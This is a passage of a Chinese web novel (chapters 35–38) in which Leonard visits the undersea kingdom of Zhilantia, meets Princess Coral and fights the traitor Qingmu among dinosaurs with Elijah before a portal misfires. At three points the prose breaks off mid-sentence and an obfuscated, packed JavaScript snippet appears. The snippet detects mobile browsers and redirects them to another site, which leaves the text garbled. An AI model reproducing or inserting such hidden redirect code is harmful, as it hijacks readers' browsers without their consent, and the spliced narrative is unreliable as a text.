宫殿门悄无声息地打开,一个身披海藻、个头高大的人形生物走出来,朝莱纳德招了招手,一言不发地转身回到了门里,似乎确信莱纳德一定会跟上。 莱纳德跟了上去。 35.第三章:芝兰蒂亚 安徒生也许对海底人族有着浪漫想象,这些漂亮的族群住在比矢车菊花瓣还蓝的海水里,生着鱼的尾巴,人类的面孔,还有无忧无虑、几百年那么长的寿命。但童话就是童话,莱纳德做过梦,他知道清醒的时候不会遇到童话,就像那个穿海藻的家伙绝不会带他去见小美人鱼。 “喂!等一等!”莱纳德叫道。 可海藻人就跟没听见一样,自顾自往前走去。 路是质地坚硬的贝壳铺成的,莱纳德跟着跑了几步,才惊讶地发现,在这里,重力和浮力竟然是完全平衡的,他不需要踩水,更不需要游泳,脚蹼反而会碍事。他把脚蹼脱下丢到一边,加快脚步追上去,声音更大:“你是谁?要带我去哪儿?” 海藻人停下脚步,却仍闭口不答,只是朝莱纳德比了个“请进”的手势,便向后退去。莱纳德注意到,对方的两侧脸颊上各开着几道口子,就像鱼鳃那样,露出里面柔软抖动的鳃丝。 再往前就是富丽明亮的殿堂,珠帘低垂,挡住了莱纳德的视线,他抬手掀开珠帘,那些比拇指还大的珍珠相互碰撞,发出悦耳的声响。 厅堂中亮如白昼,天花板上镶嵌着十余颗比莱纳德拳头还大的珍珠,墙壁上还有无数散发着荧光的珊瑚和藻类。 有七个海藻人坐在厅堂正中摆成半圆形的七把石椅上,显然是某种身份的象征,比起门外的那个,他们身上的海藻颜色更深,光泽却更明亮,七个人,七双眼睛都落在莱纳德身上。 “你们好?”莱纳德试着跟海藻人打招呼。 离他最近的海藻人从石椅上站起来,朝他走过去,开口发出悦耳的声音:“异乡人,欢迎来到芝兰蒂亚。”他拉住莱纳德的手,把他带到七把石椅中间,对坐在正中间、也是身材最高大的海藻人鞠了一躬:“王,我把异乡人带给您了。” 被叫做王的海藻人打量着莱纳德,说道:“异乡人,你是如何来到这里的?”他的声音更低沉,却像歌唱家那样动听。 莱纳德反问:“不是你们用荧光海螺指引我穿过深渊来找你们的吗?” 他身旁的海藻人说:“王是问,你是如何来到这个世界的?陆地上生存着种类众多的爬行动物,你却并不是其中之一。” 莱纳德惊讶:“你们怎么知道陆地上有爬行动物?” 芝兰蒂亚王说道:“异乡人,先回答我们的问题,才得使自己的疑惑解答。” “好吧。”莱纳德说,“我的交通工具很便利,能够到达很远的地方,比如这里。”他小心观察着几个海藻人的表情,谨慎地问:“你们是什么人?为什么会住在海底的深渊下面?” 芝兰蒂亚王说道:“这是我们的世界,我们世代居住在深渊下,就如同蜥蜴居住在陆地上一样。”这些海藻人竟然是海底原住民,怪不得还长着腮,莱纳德姑且信他,又问:“你们为什么引我到这里来?”但他不用问也知道,无事献殷勤,必然是有事相求。 芝兰蒂亚王果然说道:“你来自陆地,可以呼吸海面上的空气,这很好,我们愿意将一项使命交付于你。”他挥了挥手,身旁的其他六个海藻人立刻捧出闪闪发光的珍珠、雕琢精美的砗磲、晶莹剔透的红珊瑚,送到莱纳德面前,莱纳德立刻被晃得眯起了眼睛。 芝兰蒂亚王的语气不乏骄傲:“只要你完成使命,这些宝贝便都是你的。” 莱纳德目瞪口呆,按照安徒生的逻辑,这位芝兰蒂亚之王是不是还要许诺把自己最美丽的女儿嫁给他?他发现自己居然需要动用不小的意志力才能把目光从绚丽夺目的海底奇珍上移开,清了清嗓子,说道:“这些宝贝我都不要,我只需要找到我的伙伴,有他在,完成你的使命就更不在话下。” 芝兰蒂亚王却说道:“你的伙伴已经离开大海。” “不可能!”莱纳德立刻道,他眼看着以利亚沉入海底,就算真的离开,也不可能把他一个人丢在深渊里。 “你的伙伴已去追他,你找到叛徒,自然就会找到你的伙伴。”芝兰蒂亚王神色威严,挥手道,“去吧,将叛徒的首级带回来见我,届时自有数不尽的珍宝任你挑选。” “什么叛徒?你怎么知道我朋友去追他了?” 莱纳德一头雾水,正要开口,忽然一个极甜美,又极清脆的声音远远喊道:“父王!请让我送异乡人启程!” 她说第一个字时尚在珠帘外,等这句话说完,她的人已经站在了莱纳德身边。 这是一个纤瘦高挑、皮肤白皙的少年,同样身穿漆黑发亮的海藻长袍,上面却点缀着小巧漂亮的贝壳,两侧脸颊也生着腮丝,只不过各有两排,比其他人要少一排——这显然是一位女性,并且身份尊贵。 她身后,珠帘犹自轻轻碰撞着,叮咚作响。 芝兰蒂亚王朝少女伸出一只手,将她拉到身边:“异乡人身负重任,不可胡闹。”他向莱纳德介绍:“这是我的小女儿,芝兰蒂亚公主,珊瑚。” 莱纳德对珊瑚公主微笑道:“你好,我叫莱纳德。” 珊瑚公主瞪着莱纳德,忽然一跃而起,像唱歌一样轻快地说道:“异乡人,你的眼睛和我一样,都是蓝色的。”她兴冲冲地回过头:“父王!你看,他的眼睛是不是和我一模一样?这便是神启提到的联系!”莱纳德这才注意到,厅堂里几个海藻人的眼珠无一例外都是少见的纯黑色,只有珊瑚公主的虹膜颜色浅淡。 珊瑚公主兴高采烈地跨上一步,竟然比莱纳德还高出半个头,莱纳德不自然地清清嗓子,说道:“在我的世界里,蓝色眼睛的人很多,如果你想知道的话。” “更加说明这是昙雅神祇的旨意,你我之间存在某种联系,正是这种联系指引你到来。”珊瑚公主说道,她低下头,做出恭敬的姿势,“父王,让我为异乡人莱纳德带路吧,龙骑士可以送我们到海面上,我会为他指路,然后便立刻返回。”莱纳德识相地闭上嘴,他发现在这件事上,他似乎完全没有发言权。 芝兰蒂亚王一开始还不同意,但经不住女儿百般恳求,终于首肯道:“一定快去快回,莫要贪玩。” “多谢父王!”珊瑚公主一把拉过莱纳德,像是生怕她父亲反悔,飞快地跑出殿堂,奔过贝壳小径,又穿过深渊一路向上游去。莱纳德跟在珊瑚公主身后,只觉得她纤细的身子轻盈得好像水里的鱼儿,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13149572|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条小美人鱼。 这里也许不是安徒生的海底童话世界,但却同样美丽、同样神秘。 游出深渊后,莱纳德忽然听到一阵低沉的鸣叫,像大提琴似的,悠长而哀伤,他向远眺望,黑漆漆的海水中,好像有个庞然大物正在向他们游来。 “你听到什么动静没有?”他犹豫地加上称谓,“公主殿下。” “我的龙骑士来接我们了!”珊瑚公主高兴地说道,伸手指向前方,“你看!”顺着她的手,莱纳德终于看到了那个水中巨物,不由得屏住了呼吸——龙骑士并不像龙,它身体扁圆,生着四个短短的鳍脚,脖子却长得吓人,顶着一颗小脑袋,如果不是脑袋上长满了细密的尖牙,几乎显得有点可笑,活像是一只巨龟被人扯住头颈硬生生给拽长了。 那绝对不是龙,而是恐龙。 “蛇颈龙,”莱纳德喃喃道,搜刮着自己为数不多的史前生物知识,“好像不是素食恐龙吧?” 珊瑚公主回过头,奇怪道:“你在说什么?这是我的龙骑士,我叫她蕾雅,和你的名字有点像,对不对?” 莱纳德勉强笑了笑:“我的荣幸。” 珊瑚公主游上前去,来回抚摸着蛇颈龙扁扁的身体,跟它说了好久的话,然后才朝莱纳德招招手:“来吧,我向蕾雅介绍过你了,只要有我在,它很乐意载你一程。”伸出手把莱纳德拉到了蛇颈龙宽阔的背上。 蛇颈龙伸长脖颈,再次发出一声悠长的鸣叫,便划动鳍脚向上游去。 “珊瑚,你是怎么跟……蕾雅交流的?”稳稳骑在恐龙背上,手指触摸到它冰凉坚硬的皮肤,莱纳德忍不住问,“你的族人都有这种本领吗?” 珊瑚公主说道:“我们天生就擅长听懂外族的语言,就像我们能听懂你的语言一样,不过我要格外强点。” 莱纳德念念不忘那些在深渊上指路的荧光海螺,追问道:“像心灵感应那样?” “是昙雅神赐,让我能够触摸到心灵。”珊瑚公主郑重道,“菊石的心灵就很容易触碰,我可以随心所欲地让它们排列出我喜欢的图案,按照我喜欢的节奏闪烁,当然也可以让它们指引你穿越深渊。我的蕾雅要更聪明,它愿意听我的话,让我触摸它的心灵。” 莱纳德感到一丝微妙的不安,问道:“那……我的呢?你也触碰过我的心灵吗?” 珊瑚公主笑了起来,毫不夸张,简直比莱纳德听过的最美妙的音乐还好听,她扭过头,看着莱纳德:“你的心灵很复杂,甚至比我的族人们还要复杂,除非你完全敞开心扉,否则即便像我这样厉害的也不可能触碰到你的心灵。” “是吗?”莱纳德悄悄松了口气,他生怕天真的公主邀请他敞开心扉,连忙转移话题,“海藻王……额,你的父王委托我去寻找叛徒,但却没说清楚那个叛徒是谁,要去哪里找。” 珊瑚公主说道:“叛徒的名字不允许在芝兰蒂亚的领域内被提起,不过,我们此刻已离开了芝兰蒂亚,所以告诉你也无妨。叛徒名叫青木,他出生即能在干燥的空气中呼吸,因此一直向往陆地上的世界,三个月前,青木背叛了芝兰蒂亚,永远离开了大海。” 36.第四章:交锋 听起来,青木只不过是从海水生物基因突变进化成了两栖动物,向往陆地是本能,芝兰蒂亚王竟然因此就要砍掉他的脑袋,莱纳德无法理解:“对你的族人来说,离开大海就是背叛?” “不!当然不!”珊瑚公主立刻说道,“陆地和大海一样自由,青木可以去他想去的任何地方,呼吸任何空气,但是他不该滥用昙雅神赐。”她的表情凝重起来,“那是最严重、最不可饶恕的背叛!” “昙雅神赐?青木也能触碰心灵?” “是的。”珊瑚公主点点头,“三个月前,昙雅降下神谕,青木正在伤害陆地生物的心灵,而异乡人的来到会是唯一的转机。”她看着莱纳德,郑重道:“所以,你必须在青木彻底堕入黑暗之前阻止他!” 莱纳德想到曲冠翼龙在沙滩上奔跑跳跃的奇怪模样,以利亚也说过,它们的表现有异常,一定是受到了青木的心灵力量影响,也许,莱纳德心里闪过以一个不愉快的念头,以利亚突然间从海里消失也跟青木脱不开干系。他定了定神,问:“我该怎么阻止青木?” “别担心,我会帮助你的。”珊瑚公主笑了笑,她忽然伸手碰了碰莱纳德的氧气面罩,说,“这个东西能帮助你在海里呼吸,是否也能帮助我在陆地上呼吸?” 莱纳德吓了一跳:“你不是答应了你父王立刻返回吗?” “那又怎样?”珊瑚公主笑得有些狡黠,她冲莱纳德歪了歪头,“父王又不能追到岸上去。” 莱纳德只好点头,潜水服识别了珊瑚公主的生物信息,自动调节供氧模式,珊瑚公主装备妥当后,面罩里立刻充满了富氧海水,让她能够自如呼吸。 两人乘着蛇颈龙来到沙滩,此刻天光竟已微微发亮,一夜居然就这么过去了,莱纳德感觉上却仿佛只过去了几个小时。 珊瑚公主半个身子仍浸在海水里,十分怜爱地抚摸着蕾雅的脑袋,目送它潜回海水中,这才转身上岸,在柔软的沙滩上蹦跳几下,愉快道:“在这里跳舞一定很美妙。” 莱纳德心惊胆战地看着珊瑚公主在横七竖八的曲冠翼龙间跳来跳去,生怕她万一踩醒了哪只,搞得几十只翼龙对他们群起而攻,幸好珊瑚的脚步轻盈,如同最高明的舞蹈家,她一路蹦蹦跳跳,竟然连一只翼龙都没有惊动。 “这些飞龙真是精疲力竭了,”珊瑚公主蹲下抚摸一只半人高的翼龙幼崽,后者仍然睡得死沉死沉的,连身都没翻一个,她的表情蒙上了一层阴影,又说道,“青木刚刚来过,我能感觉到。” 他猜的果然没错,莱纳德皱起眉:“你知道他去哪了吗?” 珊瑚公主站起来,闭上眼睛,像是在沉思,忽然伸手指向一个方向,说道:“我们接下来往那边走。” 莱纳德抬起头,目力所及之处,能够看到一片绿意森然的茂林。 “原来陆地上的景色这么美,我还从没见过森林呢。”珊瑚公主摇晃着圆圆的海水面罩,满脸欢喜赞叹,对看到的一切都感到欣喜不已。 莱纳德仰头看着顶上浓绿到发黑的树荫,和那些比手掌还肥厚的绿叶,喃喃道:“我也没见过。”他伸腿迈过覆盖着厚厚青苔的藤根,又说,“要我说,还是海底世界更奇妙,陆地上风景虽然美丽,但可要危险得多。” “什么危险?”珊瑚公主不明所以。 “那可太多了。”莱纳德回想《侏罗纪公园》里见过的迅猛龙、中棘龙、霸王龙,那些睥睨中生代的捕猎者随便哪一个都能把他撕成碎片,甚至连食草恐龙都能一脚踩死他们,恐怕也只有在斯皮尔伯格的镜头下,人类才能逃过霸王龙追杀吧。 莱纳德后悔没随身携带防护服和武器,转头问珊瑚公主:“如果有很凶残的恐龙想要把咱们吃了,你能触碰他们的心灵,让它们改变主意吗?” 珊瑚公主眨眨眼睛:“我一直在这么做啊。” 这下轮到莱纳德呆住:“啊?” “陆地上的爬行动物普遍不太友好,我就让它们远远躲开,免得碍事。”珊瑚公主脚步轻盈,似乎完全没有意识到她做到这些事多么不可思议,又说,“我在芝兰蒂亚有时也感受到它们的心灵,不聪明,也不讨喜,比我的龙骑士差远了。” “你可真厉害。”莱纳德赞叹道,同时也松了口气,怪不得这一路走来连只小型恐龙都没见到,腐朽的残骸和巨大的粪便倒是随处可见,宣示着庞然大物对这块领地的主权。 前面的林子里忽然传出一声尖锐的啼叫,声音中满含痛苦,珊瑚公主立刻抬起头,向啼叫声传来的方向跑过去:“快来!”莱纳德连忙追上,边跑边问:“怎么了?”珊瑚公主头也不回地大声说道:“它快死了!一定是青木害的!快!” 莱纳德加快脚步,透过矮灌木丛,他看到一只足有小汽车那么大的恐龙倒在树下,他观察着恐龙头顶形状独特的骨板和三只长短不一的角,认出了那是三角龙,一种食草恐龙。 珊瑚公主已经冲了上去,整个人趴在三角龙身上,摩挲着它粗糙的皮肤,难过道:“我们来晚了,它还是死了。” 三角龙的尸体上看不到明显的伤口,莱纳德小心翼翼地绕着三角龙转了一圈,确定附近没有捕食者或其他三角龙,这才走到珊瑚公主旁边,问:“它是怎么死的?” “是青木干的。”珊瑚公主惶然地左顾右盼,喃喃道,“他的力量在变强,我不知道……”她忽然抱住头蹲下来,痛苦地尖叫起来:“疼!我的头好疼!”她双手扣住海水面罩,竟然想把它摘下来,莱纳德连忙按住她的胳膊,叫道:“怎么了?珊瑚!别动!没有面罩你会死的!” 珊瑚公主倒在莱纳德怀里,终于不再挣扎,但仍然在痛苦地呻吟,低声道:“他来了,我们得赶快走……” “什么?”莱纳德把耳朵凑过去,听到珊瑚公主低声呢喃:“太晚了。” “唰啦”一声,两人不远处的一丛灌木忽然被拨开,一个人跨了出来。 莱纳德警觉地直起身,那个人的身高至少六尺五开外,骨骼宽大,穿着树皮和藤叶做成的衣服,他脸颊上长着腮板,却显然靠鼻子呼吸,用一双漆黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13157103|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眼睛瞪着他们。 这罕有的外形无疑昭示了来人的身份,莱纳德暗暗握紧双拳:“青木?” “珊瑚!”青木完全忽略了莱纳德的存在,他眼睛一眨不眨地盯着珊瑚公主,脸上露出喜悦之极的笑容,大声说道,“真的是你!这一定是昙雅神祇的旨意!想想看吧,我们的结合能够创造何种奇迹,大陆和海洋的所有物种都将向我们俯首称臣!”他大喜过望地上前几步,却蓦地大叫一声,捂着脸痛苦地弯下了腰。 莱纳德用石头砸中了青木,毫不恋战,抱起珊瑚公主转身就跑,幸亏珊瑚公主虽然个子高挑,身子却轻如羽毛,莱纳德抱着她毫不费力,身后,青木大声喊道:“把珊瑚留下!”一边大步追了上来。 一定是肾上腺素飙升支持着莱纳德奔跑如飞,他从没想到自己居然能跑过一个六尺五寸的巨人,风刮在脸颊上如同刀割,他感觉到珊瑚公主的脑袋无力地靠在他肩膀上,连忙叫她:“珊瑚!醒醒!” 珊瑚公主动了动,发出几声含义不明的呢喃。 “珊瑚,不能睡!”莱纳德气喘吁吁,“青木追来了!” “前……”珊瑚公主的声音轻若蚊鸣,她努力把嘴凑到莱纳德耳朵边,吐出两个破碎的词,“小心,前面。” “前面怎么了?”莱纳德刚放慢脚步,就感觉到了大地在震颤,低沉的咆哮声远远传来,听得人头皮发麻,他先是停住,但随即又奔跑起来,后有青木紧追不舍,相比之下,恐怕直面霸王龙胜算都要更大些。 珊瑚公主的胳膊动了动:“那边。” 莱纳德连忙转了大弯,向右前方斜斜冲刺出去,青木伸长胳膊一个飞扑,差一点就抓住珊瑚公主垂在身后的头发,可等他再爬起来时,双方顿时又拉开距离,只听他高声怒骂道:“异乡人!你要付出代价!” 莱纳德一心一意逃命,巴不得青木多说几句,说得越多,跑得越慢。 可地面的震颤越来越明显,拳头大小的石块都在地上蹦跳起来,让人越跑越心慌,穿过树影,一个起重机似的庞然大物豁然映入眼帘,并且正在飞快地接近他们,莱纳德大惊失色,恐怕是珊瑚公主在昏迷中无法再影响恐龙,它们要回来了。 或者更糟,是青木把它们召来的。 就在这时,前面的树丛忽然“泼剌”一声响,一头半人多高、圆头长尾、靠后肢奔跑的驰龙跳了出来,它的前肢蜷缩在身前,像鸟儿翅膀那样覆盖着红褐色的羽毛,隐约露出尖锐的爪子。 莱纳德原地一个急刹车,吓得大叫一声,心脏差点顺着喉咙从嘴里喷出来,但驰龙却并没有对两人发起攻击,它稳稳停在原地,像马那样喷着鼻子,瞪着一双大眼睛瞧着两人,忽然张开大嘴发出一声咆哮,一股热烘烘的臭气霎时间扑面而来。 莱纳德把声音放到最低:“珊瑚,它什么意思?”一边躬起腰慢慢向后退,怀里的珊瑚公主毫无反应。 “莱纳德!是你吗?”驰龙背后忽然响起人声,随即探出一个人来,满脸喜色:“可算找到你了!” 37.第五章:转折 “以利亚!” 莱纳德又惊又喜,立刻向驰龙跑过去,后者受惊似的向后跳了一小步,拍动着两只短翅膀似的前爪,以利亚拍着它的一侧脖颈,它才喷着鼻息稳在原地,朝莱纳德俯下上半身。 “把手给我。”以利亚在驰龙背上伸过胳膊,“快点!那家伙要追过来了。”他先把昏迷不醒的珊瑚公主拉上龙背,然后抓住莱纳德的胳膊使劲一提,随即揽住他的腰,把他整个人甩到自己身后,一拍驰龙的脖子,大声道:“坐稳了!走!” 驰龙蹦跳着转身,显然因为身上多了三个人而有些吃力,但还是动作坚定地朝一个方向奔去。 莱纳德刚喘匀气就忍不住叫道:“以利亚,你跑到哪儿去了?我还以为你沉到海底了!”他很想重锤以利亚后背一拳,又不想被反作用力推下去,只能恨恨地抓牢对方,忽然间感到背后有东西飞快地拂过,他悚然回头,才发现原来是驰龙的尾巴,那上面竟然也覆盖着羽毛,颜色鲜艳,像没开屏的凤凰尾似的,随着它奔跑的动作一上一下地摇晃。莱纳德悄悄吁了口气,经历过他这样的一天,大惊小怪也是可以被原谅的。 “说来话长,”以利亚没回头,但声音里满含笑意,“但不如你,这么一会功夫不见,你居然连深渊族都结识了。” “深渊族?” “非常古老又低调的种族,真要算起来,他们的历史只怕要比恐龙还久远一些。” “那我怎么从来没听说过?” “就像我说的,他们很低调。” “他们管自己的国度叫芝兰蒂亚。”莱纳德把昨晚的海底历险讲给以利亚,又说,“他们的族人天生就有语言天赋,还信仰一个叫做昙雅的神祇,那个神祇还赋予了珊瑚公主某种特别的能力,用她的话说,她能够触碰心灵,影响恐龙的行为,我还在海底深渊里见过被她操控的石菊,连蛇颈龙都被她驯服成坐骑,听起来像心灵感应者,对吧?” “非常高级的心灵感应者。”以利亚点点头,若有所思,“如果不是受海水限制,这片陆地恐怕永远也轮不到恐龙称霸。” 莱纳德说:“他们看起来非常和平,并没有滥用能力控制海底生物。”最多不过是骑着蛇颈龙在海底遨游罢了。 “没有哪个种族是完全和平的。”以利亚头也不回地说,莱纳德几乎能想象他脸上讽刺的表情,“刚才你已经跟那家伙打过招呼了吧?” “青木?芝兰蒂亚王还委托我把这个叛徒的脑袋拿回去献给他呢。”莱纳德忍不住回头看了一眼,却没看到青木追上来的身影,奇怪道,“那家伙怎么还没追上来?” “第一,我们的交通工具更优越。”以利亚竖起一根手指头,紧接着竖起第二根,“第二,他根本不需要自己追上来。” “什么意思?”莱纳德问,像回应他似的,几乎在同时,他们的左前方、右前方、后方同时响起了肉食恐龙凶恶的咆哮声,转眼间已成合围之势,更糟糕的是,包围圈还在不断缩小。莱纳德不抱希望地问以利亚:“珊瑚公主醒了吗?她的心灵力量能帮咱们驱散恐龙。” “还像个睡美人一样做美梦呢。”以利亚嘬唇作哨,驰龙立刻弹跳几步停下来,它的三个对手也紧跟着跃出树丛,同样靠后肢站立,体型却要大得多,外露的牙齿也相当锋利。 莱纳德屏住呼吸,那是鲨齿龙,哪怕一对一驰龙都不是对手,更何况一对三,他低声问:“以利亚,你有武器吗?” “硬碰硬恐怕不是上策。” “那什么是上策?” “跑!” 驰龙蓦地纵身跃出,瞄准三只鲨齿龙露出的空隙猛冲过去,莱纳德惊呼一声搂住以利亚的后腰,好险没被甩下恐龙背去。与此同时,两只鲨齿龙分别从两侧后方猛扑过来,驰龙躲开了其中一击,但一条后腿却落入了另一个敌手的鲨齿之中。 咆哮声震耳欲聋,鲨齿龙摆动脑袋把驰龙摔倒在地,锋利的牙齿牢牢锁住猎物,另一只随即一跃而上,精准地咬住了猎物的脖子,驰龙哀嚎着,无助地挣扎了几下,便不再动弹。 就在驰龙翻倒的瞬间,以利亚抱着珊瑚公主一跃而下,就地翻滚躲开了鲨齿龙后摆的巨尾,莱纳德挂在他身后,替以利亚当了一回人形肉垫,差点背过气去,但好在地上没有锋利的碎石或断骨,谢天谢地。 “快跑!”莱纳德推了以利亚一把,对方却没回应他,反而侧着头像在听什么动静,喃喃道,“来了吗?” “以利亚!”莱纳德压低嗓音吼道,恨不得揍他一拳,“你发什么呆!恐龙来了,咱们得快跑!” “你们还想跑?”青木忽然大笑着出现在几人身后,叉着腰说,“我以为你有大本领,到底高估你了。” 此刻再跑也来不及了,莱纳德反而冷静下来,说道:“青木,醒醒吧,你的昙雅神不会再庇护你了,不然她怎么会放任你滥杀无辜?”一边目光乱转,可这该死的地上别说石块,竟然连根树枝都没有! 青木冷笑道:“那又怎样?我和珊瑚可以做万物的昙雅神!”他大步走上前,伸手就去抓珊瑚公主,莱纳德连忙伸臂护住,被青木一掌推开,仓皇之际,他抓起一把泥土正准备猛洒对方眼睛,以利亚却忽然奋力挺身撞向青木,右手从肋下穿出,掌根在青木下巴上重重一推,把对方打得连退了七八步。 “困兽之斗!”青木差点摔倒,勉强稳住身形,揉着下巴恶狠狠道,“就凭你,斗得过此地的万兽之王吗?” 以利亚站稳身子,冷笑道:“我自然斗不过,可你就斗得过吗?” 青木哈哈大笑:“愚蠢!你根本不知道我是谁!”他身后,恐龙的咆哮声骤然逼近,青木脸上的笑容霎时僵硬,但他还没来得及转身,右肩便一阵剧痛,鲨齿龙的鼻息喷在他颈侧,又腥又臭,几根锯齿状的牙齿深深地楔进了他的半边肩膀,青木在剧痛中惊疑不定地想,我的胳膊呢? 以利亚脸上终于露出一丝如释重负的微笑,说道:“抑制力场,早就布置好了等你自投罗网呢,青木,在变成恐龙的午餐之前,跟你的昙雅神祇说永别吧。” 青木大声惨叫起来,鲨齿龙像刚才摔倒驰龙那样把他摔倒在地,仰起头把撕咬下来的胳膊吞进嘴里,嚼得咯吱有声。青木挣扎着往后退,绝望地朝以利亚喊道:“救救我!你不能这样!别忘了,你的眼睛还在我这里!” 以利亚没说话,但他脸颊上的肌肉却不自然地抽搐了一下。 “什么?”莱纳德愕然,飞快地看向以利亚,他忽然发现自从碰面起,他还没有机会好好看过对方的正脸。 空中倏地响起一声锐利的啼叫,莱纳德抬起头,顿时惊呆了,只见一头曲冠翼龙正朝他们俯冲下来,长喙一伸,竟然叼住了青木的后腰,带着他腾空而起,迅速飞离鲨齿龙的攻击范围,逃之夭夭。 鲨齿龙目送曲冠翼龙飞远,似乎并不打算追击,对地面上聒噪渺小的人类也不感兴趣,拖着脚步回到驰龙尸体边继续大快朵颐。 “怎么回事?不是有抑制力场吗?”莱纳德愕然,一低头,却发现以利亚的脸色竟然难看之极,他连忙伸手扶住对方,问,“你受伤了?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13174998|135386||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 以利亚勉强摇了摇头:“我们尽快得离开。” 两个人身后,珊瑚公主不知什么时候醒了过来,迷茫地看着莱纳德:“发生什么了?” 回想刚才短短十几分钟的经历,莱纳德竟张口结舌,回答不上来。 但青木重伤逃走,珊瑚公主苏醒,他们回程一路总算是无惊无险,只有灌木丛里的几只比鸡大不了多少的始秀颚龙尖叫着对他们的入侵表示愤怒。 回到沙滩后,珊瑚召唤蛇颈龙回到了大海,她走之前似乎想对莱纳德说什么,却又改变主意,欲言又止地爬上了龙背。莱纳德则心烦意乱,根本没察觉到珊瑚公主的心思。 “莱尼,”以利亚不安地清清嗓子,莱纳德截口问道:“你真的看不见了?”他侧身看着以利亚的浅色瞳孔,没觉得和以往有什么不同,但以利亚的脸色非常苍白,仿佛身体某个看不到的地方正在流血。 “是青木干的?”莱纳德忽然间感到一阵心痛,他意识到,从来都是以利亚替他受伤,而他却从没为对方分担过哪怕分毫。 以利亚缓慢地点头:“青木偷走了我的视力。” 莱纳德也点头,然后才意识到以利亚看不到他的动作:“好吧,那我们接下来就去找那个狗东西算账,把属于你的东西抢回来。”他大脑的另一部分则在思考,偷走,那可真是个奇怪的表达,对吧?以利亚说的不是“他弄瞎了我”或者“他弄伤了我的眼睛”,而是“偷走了我的视力”,青木偷走他的视力干嘛? “抑制力场没有奏效,我们只剩最后一次机会了,趁他重伤未愈之前,胜算才最大。” “嗯,听你的。” “不,”以利亚从口袋里掏出金属笔,递给莱纳德,挑起一边嘴角,“这次要靠你了。” “什么?”莱纳德目瞪口呆,“可我从来没这么干过,以利亚。”他拿着荧光闪烁的金属笔,在掌心里沉甸甸的,“我不会像你那样写方程、做运算。” “放心,我们现在离飞船很近,而且青木也没逃到另一个时空去,传送门不需要复杂的程式,你完全可以。” “好吧,”莱纳德吸了口气,提起金属笔,在空气中画了一个大方框,问以利亚,“我画好框了,接下来怎么做?”但眼前的半成品看起来其实更像一个打瞌睡的倒梯形,四条边歪歪扭扭,颤动着,莱纳德不满意地皱了皱鼻子。 “很简单。”以利亚一笔一划地教,莱纳德按照指示小心翼翼地勾画,虽然以利亚似乎充满信心,但他还是注意到,金属笔端的绿色荧光时明时暗,传送门也远不像以利亚执笔时那么形状流畅、自然。 荧光不稳定,莱纳德忽然想,会不会是受以利亚身体状态的影响?因为这二者之间存在某种联结。 某种隐秘的联结。 几乎是他闪过这个念头的同时,淡绿色的方框忽然整个闪烁了两下,方框里的几行程式也跟着颤抖起来,这可从来没发生过,莱纳德瞪大眼睛,绝不是他的错觉,绿色方框变大了! “好像有点不对头。”莱纳德往后退了一步,拉住以利亚的手,他紧盯着前面,完全没看到以利亚的灰色虹膜竟然变成了绿色,大声问道:“怎么办?传送门自己动起来了!”以利亚闭紧嘴不作答,他像个不倒翁似的被莱纳德拽着向后倒下,紧接着又猛地弹回去,力道之大,让莱纳德直接失去重心整个人朝他跌了过去。 “以利亚!” 混乱间,莱纳德看到那个打瞌睡的倒梯形忽然变成了一张大嘴,先是不慌不忙地后撤、张大,然后一口朝他们咬了下来! 38.第六章:阿斯兰山谷 “啊——” 莱纳德和以利亚从半空中摔到地上,在草地上连打了几个滚,莱纳德始终紧紧抓着以利亚,两个人狼狈地摔成一团。 他们到底还是穿过了传送门,尽管跟平时的方式不太一样,尤其是落地。 “以利亚,你没事吧?”莱纳德两只手把以利亚拉起来,对方抱着头在地上坐了好半天,才勉强回答:“我没事。” “你看起来可不像没事的样子。”莱纳德正因为搞砸传送生自己的气,看着以利亚愈发苍白的脸,没好气地补充道,“要我说,淋了雨的床单都比你精神多了。”这既是气话也是实话,医院重逢后,以利亚不再像之前那样胡子拉碴、不修边幅,这也让他此刻的憔悴更加明显。 “但我的确没事。”以利亚拍拍身上的露水,站起来吹了声口哨,“相信我,我经历过更糟糕的。” 莱纳德翻了个白眼:“直接说我搞砸了很难吗?” “好吧,情况好像是跟我们的原本计划不大一样。”以利亚宽容地笑笑,他侧过头嗅了嗅空气,好像鼻窦里装着个空气分析仪似的,镇定地说道,“公元纪年75世纪,距离我们刚才的时间线可快进了不少呐。” “75世纪?你确定没搞错?”莱纳德环顾四周,却没有看到一丝人类文明的迹象,气温倒是明显低了几度,微凉的小风吹在皮肤上感觉很舒服,两侧山峰高耸,绿意仿佛一路从天际绵延到几人脚下,莱纳德深深呼吸,一股凉爽湿润的香气顿时顺着鼻孔直达肺部,是植物和雨水的味道。 